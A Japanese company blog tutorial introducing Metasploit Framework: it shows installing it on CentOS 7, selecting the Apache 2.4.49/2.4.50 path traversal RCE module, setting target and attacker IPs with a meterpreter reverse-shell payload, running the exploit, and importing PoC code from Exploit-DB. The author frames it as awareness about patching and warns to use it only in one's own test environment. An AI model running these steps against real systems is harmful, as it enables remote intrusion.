【大阪 / 横浜 / 徳島】インフラ / サーバーサイドエンジニア募集中!

【大阪 / 横浜 / 徳島】インフラ / サーバーサイドエンジニア募集中!

【導入実績 500社以上】AWS 構築・運用保守・監視サービス

【導入実績 500社以上】AWS 構築・運用保守・監視サービス

【CentOS 後継】AlmaLinux OS サーバー構築・移行サービス

【CentOS 後継】AlmaLinux OS サーバー構築・移行サービス

【WordPress 専用】クラウドサーバー『ウェブスピード』

【WordPress 専用】クラウドサーバー『ウェブスピード』

【入門】Metasploit Framework【ペネトレーションテスト用】

こんにちは。
システムソリューション部のインフラわっしょいマンです。
過去に書いた記事はこちら

Metasploit Framework という有名なオープンソースのソフトがあります。
ミドルウェアなどの脆弱性を実際に突いて、セキュリティの耐久性を評価する「ペネトレーションテスト」に使用するツールです。

今回は上記ツールを使用できる環境を用意してみようと思います。

このようなツールをみてみると、脆弱性を抱えたバージョンを使い続ける危険性がなんとなくわかるかと思いますので、それを知っていただくことが本記事の目的となります。

※ ペネトレーションツールですが、必ず自分で用意した検証環境などで使用してください。
悪用は犯罪ですので、ご利用は自己責任でお願いいたします。

Metasploit Framework インストール

環境はいつものごとく、CentOS7 の bento box で用意しました。

早速ですが、ドキュメントに従ってツールをインストールしていきます。

1
2
3
4
5
 
[root@localhost ~]# chmod 755 msfinstall
 
[root@localhost ~]# ./msfinstall

インストール後は下記で起動できます。
実行してみるとインタラクティブなシェルが表示されました。

1
2
3
4
5
[root@localhost ~]# /opt/metasploit-framework/bin/msfconsole
・ 省略
msf6 >

簡単でした。

ためしてみる

search コマンドを使用するとツール内にすでに用意されている脆弱性を確認できます。
まずは Apache の脆弱性について探してみましょう。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf6 > search httpd
 
Matching Modules
================
 
   #   Name                                                             Disclosure Date  Rank       Check  Description
   -   ----                                                             ---------------  ----       -----  -----------
   0   exploit/linux/http/alcatel_omnipcx_mastercgi_exec                2007-09-09       manual     No     Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
   1   exploit/multi/http/apache_normalize_path_rce                     2021-05-10       excellent  Yes    Apache 2.4.49/2.4.50 Traversal RCE
   2   auxiliary/scanner/http/apache_normalize_path                     2021-05-10       normal     No     Apache 2.4.49/2.4.50 Traversal RCE scanner
   3   auxiliary/scanner/http/mod_negotiation_brute                                      normal     No     Apache HTTPD mod_negotiation Filename Bruter
   4   auxiliary/scanner/http/mod_negotiation_scanner                                    normal     No     Apache HTTPD mod_negotiation Scanner
   5   exploit/windows/http/apache_chunked                              2002-06-19       good       Yes    Apache Win32 Chunked Encoding
   6   exploit/linux/http/dlink_dspw110_cookie_noauth_exec              2015-06-12       normal     Yes    D-Link Cookie Command Execution

ずらずらっと 20 余りリストが出てきました。
適当に上の方にある「exploit/multi/http/apache_normalize_path_rce」を題材にしてみます。
こちらの脆弱性ですが、ドキュメントルート外のファイルが「require all denied」によって保護されておらず、CGI が明示的に有効になっている場合にリモートコマンド実行が可能になるというものです。

該当の脆弱性を use コマンドで選択します。

1
2
3
4
msf6 > use exploit/multi/http/apache_normalize_path_rce
 
# このような表示になれば OK
msf6 exploit(multi/http/apache_normalize_path_rce) >

脆弱性ごとに入力が必要なオプションが異なるので show options コマンドで確認します。
実際に見てみましょう。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msf6 exploit(multi/http/apache_normalize_path_rce) > show options
 
Module options (exploit/multi/http/apache_normalize_path_rce):
 
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CVE        CVE-2021-42013   yes       The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
   DEPTH      5                yes       Depth for Path Traversal
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cgi-bin         yes       Base path
   VHOST                       no        HTTP server virtual host
 
 
Payload options (linux/x64/meterpreter/reverse_tcp):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic (Dropper)

Required の欄が yes になっているものについてはオプション入力が必須です。
その中で、「RHOSTS(ターゲットの IP)」と「LHOST(攻撃側の IP)」が必須かつ空欄となっております。(他はデフォルト値が入っています。)
こう言った項目に関しては手動で埋める必要があります。

1
2
3
4
5
6
# IP は適当です。
msf6 exploit(multi/http/apache_normalize_path_rce) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
 
msf6 exploit(multi/http/apache_normalize_path_rce) > set LHOST 192.168.1.2
LHOST => 192.168.1.2

あとは実行するだけです。

1
msf6 exploit(multi/http/apache_normalize_path_rce) > exploit

脆弱性コードを外部から取ってきて実行する

脆弱性に対する攻撃コードはその実証のため、公開されています。(PoC と言います)
そのため、それを利用することですぐに試験することが可能です。

今回は Kali-Linux で有名な Offensive Security が提供している下記サイトから引っ張ってきます。
https://www.exploit-db.com/
対象ページのダウンロードボタンをクリックすると PoC コードを入手できます。

ここからローカルへダウンロードしたコードを Metasploit の modules/exploit ディレクトリ配下へコピーします。

私の環境では下記のパスのようでした
/opt/metasploit-framework/embedded/framework/modules/exploits
配置したらリロードが必要です。

1
2
3
[root@localhost exploits]# /opt/metasploit-framework/bin/msfconsole
 
msf6 > reload_all

Metasploit 自体が Ruby で書かれている都合上、モジュールも Ruby でないとだめかと思ったのですが、Python や Golang でも良いようです。

まとめ

はい、やばさがわかりましたでしょうか。

特許と同じく、世間に存在を認めてもらうには中身を公開しないといけない関係上、悪意のある人間にも脆弱性は手軽に試されてしまいます。

そのため、古いバージョンのツールを使い続けるのは危険です。
当然の話ですが、アップデートは継続的にしっかりと行いましょう。

(という啓蒙活動でした。おわり。)

この記事がお役に立てば【 いいね 】のご協力をお願いいたします!
15
読み込み中...
15 票, 平均: 1.00 / 115
9,301
X facebook はてなブックマーク pocket
【2026.6.30 Amazon Linux 2 サポート終了】Amazon Linux サーバー移行ソリューション

【2026.6.30 Amazon Linux 2 サポート終了】Amazon Linux サーバー移行ソリューション

この記事をかいた人

About the author

インフラわっしょいマン

システムソリューション部所属。
好きで毎日勉強していたところ、運よくビヨンドに拾っていただいた。
眼鏡からコンタクトに変えるか悩み始めてから9年経過している。